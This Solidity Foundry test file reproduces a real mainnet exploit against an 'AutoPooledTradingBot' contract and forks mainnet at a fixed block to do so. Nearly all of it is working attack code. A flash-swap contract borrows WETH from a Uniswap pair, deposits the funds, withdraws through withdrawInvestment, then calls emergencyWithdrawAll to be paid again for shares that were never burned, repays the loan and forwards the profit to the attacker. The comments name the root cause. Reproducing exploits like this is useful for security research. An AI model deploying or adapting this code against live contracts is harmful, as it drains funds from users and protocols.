src/test/2025-08/AutoPooledTradingBot_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// @KeyInfo - Total Lost : 0.15198 ETH
7// Attacker : 0x8A6ce2d90EE1199F815628970a90dF73e12B5057
8// Attack Contract : 0xe033880fed8A54C1F37230cC3b25aCFB1c9d4185
9// Vulnerable Contract : 0x879e993e2E37DE3b47F38C13858e1f337D51448B
10// Attack Tx : https://etherscan.io/tx/0x9ec3fb4ac39e179c6a4f5323f2f757faca7b71718fc9f752153387c9204cee3d
11//
12// @Info
13// Vulnerable Contract Code : https://etherscan.io/address/0x879e993e2E37DE3b47F38C13858e1f337D51448B#code
14//
15// @Analysis
16// Twitter Guy : https://t.me/defimon_alerts/1676
17//
18// Attack summary: The attacker deposited flash-borrowed ETH, withdrew 90% through withdrawInvestment, then
19// emergency-withdrew the still-existing shares from the same deposit.
20// Root cause: withdrawInvestment pays from totalInvested but does not burn shares or reduce pool accounting,
21// leaving emergencyWithdrawAll able to pay the same position again.
22 
23address constant ATTACKER = 0x8A6ce2d90EE1199F815628970a90dF73e12B5057;
24address constant VULNERABLE_CONTRACT = 0x879e993e2E37DE3b47F38C13858e1f337D51448B;
25address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
26address constant WETH_SPX_PAIR = 0x52c77b0CB827aFbAD022E6d6CAF2C44452eDbc39;
27 
28interface IWETH {
29    function deposit() external payable;
30    function withdraw(
31        uint256 wad
32    ) external;
33    function transfer(
34        address to,
35        uint256 value
36    ) external returns (bool);
37}
38 
39interface IUniswapV2Pair {
40    function swap(
41        uint256 amount0Out,
42        uint256 amount1Out,
43        address to,
44        bytes calldata data
45    ) external;
46}
47 
48interface IUniswapV2Callee {
49    function uniswapV2Call(
50        address sender,
51        uint256 amount0,
52        uint256 amount1,
53        bytes calldata data
54    ) external;
55}
56 
57interface IAutoPooledTradingBot {
58    function deposit(
59        address referrer
60    ) external payable;
61    function withdrawInvestment(
62        uint256 minExpected
63    ) external;
64    function emergencyWithdrawAll() external;
65}
66 
67contract ContractTest is BaseTestWithBalanceLog {
68    function setUp() public {
69        uint256 forkBlock = 23_160_803;
70        vm.createSelectFork("mainnet", forkBlock);
71 
72        vm.label(ATTACKER, "Attacker");
73        vm.label(VULNERABLE_CONTRACT, "AutoPooledTradingBot");
74        vm.label(WETH, "WETH");
75        vm.label(WETH_SPX_PAIR, "WETH-SPX Pair");
76    }
77 
78    function testExploit() public {
79        vm.deal(ATTACKER, 0);
80        uint256 attackerEthBefore = ATTACKER.balance;
81 
82        // step 1: use the same no-upfront-capital shape as the trace by borrowing WETH from the pair.
83        vm.startPrank(ATTACKER);
84        FlashSwapAttacker flashSwapAttacker = new FlashSwapAttacker(ATTACKER);
85        vm.label(address(flashSwapAttacker), "Local Flash Swap Attacker");
86        flashSwapAttacker.execute();
87        vm.stopPrank();
88 
89        // step 2: assert the doubled-withdrawal path produces net ETH after repaying the pair.
90        uint256 attackerEthAfter = ATTACKER.balance;
91        emit log_named_decimal_uint("Attacker ETH profit", attackerEthAfter - attackerEthBefore, 18);
92        assertGt(attackerEthAfter - attackerEthBefore, 0.15 ether);
93    }
94}
95 
96contract FlashSwapAttacker is IUniswapV2Callee {
97    address private immutable profitReceiver;
98 
99    constructor(
100        address profitReceiver_
101    ) {
102        profitReceiver = profitReceiver_;
103    }
104 
105    function execute() external {
106        uint256 borrowAmount = 0.192 ether;
107        IUniswapV2Pair(WETH_SPX_PAIR).swap(borrowAmount, 0, address(this), abi.encode(borrowAmount));
108    }
109 
110    function uniswapV2Call(
111        address sender,
112        uint256 amount0,
113        uint256,
114        bytes calldata
115    ) external override {
116        require(msg.sender == WETH_SPX_PAIR, "unexpected pair");
117        require(sender == address(this), "unexpected sender");
118 
119        // step 3: unwrap the flash-borrowed WETH and create a fresh victim position.
120        IWETH(WETH).withdraw(amount0);
121        IAutoPooledTradingBot(VULNERABLE_CONTRACT).deposit{value: amount0}(address(0));
122 
123        // step 4: withdrawInvestment pays from totalInvested but leaves shares in place.
124        IAutoPooledTradingBot(VULNERABLE_CONTRACT).withdrawInvestment(0);
125 
126        // step 5: emergencyWithdrawAll pays the same still-existing shares again.
127        IAutoPooledTradingBot(VULNERABLE_CONTRACT).emergencyWithdrawAll();
128 
129        // step 6: repay the WETH flash swap, then forward the remaining ETH profit.
130        uint256 repayAmount = (amount0 * 1000) / 997 + 1;
131        IWETH(WETH).deposit{value: repayAmount}();
132        IWETH(WETH).transfer(WETH_SPX_PAIR, repayAmount);
133 
134        (bool sent,) = payable(profitReceiver).call{value: address(this).balance}("");
135        require(sent, "profit transfer failed");
136    }
137 
138    receive() external payable {}
139}